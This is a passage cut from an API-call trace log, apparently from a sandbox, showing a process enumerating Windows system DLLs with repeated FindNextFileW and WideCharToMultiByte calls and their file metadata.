dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.946] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0136.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.946] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0136.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.946] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0136.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.946] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0136.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.946] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0136.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.947] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.947] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.947] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.947] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.947] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.947] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.947] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.948] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.948] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0xa9c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0136.948] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0xa9c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0136.948] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0xa9c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0136.948] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0xa9c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0136.948] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0xa9c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0136.948] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.948] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0136.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0xa9c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0136.949] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0136.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0xa9c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0136.949] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0136.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0xa9c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0136.949] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0136.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 